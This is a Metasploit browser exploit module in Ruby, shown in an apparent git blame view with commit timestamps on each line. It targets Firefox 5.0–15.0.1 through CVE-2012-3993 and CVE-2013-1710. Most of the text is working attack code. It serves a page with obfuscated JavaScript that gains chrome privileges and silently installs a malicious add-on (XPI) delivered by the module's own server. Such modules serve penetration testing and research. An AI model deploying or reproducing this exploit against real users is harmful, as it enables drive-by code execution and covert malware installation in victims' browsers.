2013-12-18 20:31:42 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-12-18 20:31:42 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-12-19 02:30:08 +00:00
|
|
|
Rank = ExcellentRanking
|
2013-12-18 20:31:42 +00:00
|
|
|
|
2013-12-19 18:49:24 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
2014-01-11 23:34:38 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
2013-12-18 20:31:42 +00:00
|
|
|
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
|
|
|
|
2014-01-11 23:34:38 +00:00
|
|
|
autopwn_info({
|
|
|
|
:ua_name => HttpClients::FF,
|
|
|
|
:ua_minver => "5.0",
|
|
|
|
:ua_maxver => "15.0.1",
|
|
|
|
:javascript => true,
|
|
|
|
:rank => NormalRanking
|
|
|
|
})
|
|
|
|
|
2013-12-18 20:31:42 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-12-19 08:08:55 +00:00
|
|
|
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
|
2013-12-18 20:31:42 +00:00
|
|
|
'Description' => %q{
|
2013-12-19 08:08:55 +00:00
|
|
|
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
|
2013-12-18 20:31:42 +00:00
|
|
|
invalid input, would throw an exception that did not have an __exposedProps__
|
2013-12-19 02:30:08 +00:00
|
|
|
property set. By re-setting this property on the exception object's prototype,
|
2013-12-18 20:31:42 +00:00
|
|
|
the chrome-based defineProperty method is made available.
|
|
|
|
|
2013-12-19 02:30:08 +00:00
|
|
|
With the defineProperty method, functions belonging to window and document can be
|
|
|
|
overriden with a function that gets called from chrome-privileged context. From here,
|
|
|
|
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
|
|
|
|
into the context's private scope. Since the window does not have a chrome:// URL,
|
|
|
|
the insecure parts of Components.classes are not available, so instead the AddonManager
|
|
|
|
API is invoked to silently install a malicious plugin.
|
2013-12-18 20:31:42 +00:00
|
|
|
},
|
2013-12-18 20:42:01 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2013-12-19 08:05:45 +00:00
|
|
|
'Author' => [
|
|
|
|
'Mariusz Mlynski', # discovered CVE-2012-3993
|
|
|
|
'moz_bug_r_a4', # discovered CVE-2013-1710
|
|
|
|
'joev' # metasploit module
|
|
|
|
],
|
2013-12-19 18:58:52 +00:00
|
|
|
'DisclosureDate' => "Aug 6 2013",
|
2013-12-19 02:30:08 +00:00
|
|
|
'References' => [
|
|
|
|
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
|
|
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
|
|
|
|
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
|
2013-12-19 18:49:24 +00:00
|
|
|
],
|
|
|
|
'BrowserRequirements' => {
|
|
|
|
:source => 'script',
|
|
|
|
:ua_name => HttpClients::FF,
|
|
|
|
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
|
2013-12-19 18:53:58 +00:00
|
|
|
}
|
2013-12-18 20:31:42 +00:00
|
|
|
))
|
|
|
|
|
2013-12-18 20:42:01 +00:00
|
|
|
register_options([
|
|
|
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
|
|
|
|
], self.class)
|
2013-12-18 20:31:42 +00:00
|
|
|
end
|
|
|
|
|
2013-12-19 18:49:24 +00:00
|
|
|
def on_request_exploit(cli, request, target_info)
|
2013-12-18 20:31:42 +00:00
|
|
|
if request.uri.match(/\.xpi$/i)
|
2013-12-19 18:49:24 +00:00
|
|
|
print_status("Sending the malicious addon")
|
2014-01-02 16:46:57 +00:00
|
|
|
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
|
2013-12-18 20:31:42 +00:00
|
|
|
else
|
2013-12-19 18:49:24 +00:00
|
|
|
print_status("Sending HTML")
|
2016-07-17 08:50:54 +00:00
|
|
|
res = generate_html(target_info,request.headers['Host'])
|
|
|
|
vprint_status res.to_s
|
|
|
|
send_response_html(cli, res)
|
2013-12-18 20:31:42 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-07-17 08:50:54 +00:00
|
|
|
def generate_html(target_info,refer)
|
2013-12-19 18:49:24 +00:00
|
|
|
injection = if target_info[:ua_ver].to_i == 15
|
|
|
|
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
|
|
|
|
else
|
|
|
|
"p2.constructor.defineProperty(obj,key,{get:runme});"
|
|
|
|
end
|
|
|
|
|
2016-07-17 08:50:54 +00:00
|
|
|
if refer.nil? or refer.blank?
|
|
|
|
redirect = "#{get_module_uri}/addon.xpi"
|
|
|
|
else
|
2016-07-24 20:49:03 +00:00
|
|
|
proto = ((datastore['SSL']) ? 'https' : 'http')
|
|
|
|
redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
|
2016-07-17 08:50:54 +00:00
|
|
|
end
|
|
|
|
|
2014-09-22 04:45:59 +00:00
|
|
|
script = js_obfuscate %Q|
|
2013-12-19 08:05:45 +00:00
|
|
|
try{InstallTrigger.install(0)}catch(e){p=e;};
|
|
|
|
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
|
|
|
|
p2.__exposedProps__={
|
|
|
|
constructor:'rw',
|
|
|
|
prototype:'rw',
|
|
|
|
defineProperty:'rw',
|
|
|
|
__exposedProps__:'rw'
|
|
|
|
};
|
|
|
|
var s = document.querySelector('#payload').innerHTML;
|
|
|
|
var q = false;
|
|
|
|
var register = function(obj,key) {
|
|
|
|
var runme = function(){
|
|
|
|
if (q) return;
|
|
|
|
q = true;
|
|
|
|
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
|
|
|
|
};
|
2013-12-19 18:49:24 +00:00
|
|
|
try {
|
|
|
|
#{injection}
|
|
|
|
} catch (e) {}
|
2013-12-19 08:05:45 +00:00
|
|
|
};
|
|
|
|
for (var i in window) register(window, i);
|
|
|
|
for (var i in document) register(document, i);
|
2014-09-22 04:45:59 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
js_payload = js_obfuscate %Q|
|
|
|
|
if (!window.done) {
|
|
|
|
window.AddonManager.getInstallForURL(
|
2016-07-17 08:50:54 +00:00
|
|
|
'#{redirect}',
|
2014-09-22 04:45:59 +00:00
|
|
|
function(install) { install.install() },
|
|
|
|
'application/x-xpinstall'
|
|
|
|
);
|
|
|
|
window.done = true;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
%Q|
|
|
|
|
<html>
|
|
|
|
<body>
|
|
|
|
#{datastore['CONTENT']}
|
|
|
|
<div id='payload' style='display:none'>
|
|
|
|
#{js_payload}
|
|
|
|
</div>
|
|
|
|
<script>
|
|
|
|
#{script}
|
2013-12-19 08:05:45 +00:00
|
|
|
</script>
|
|
|
|
</body>
|
|
|
|
</html>
|
2013-12-18 20:31:42 +00:00
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|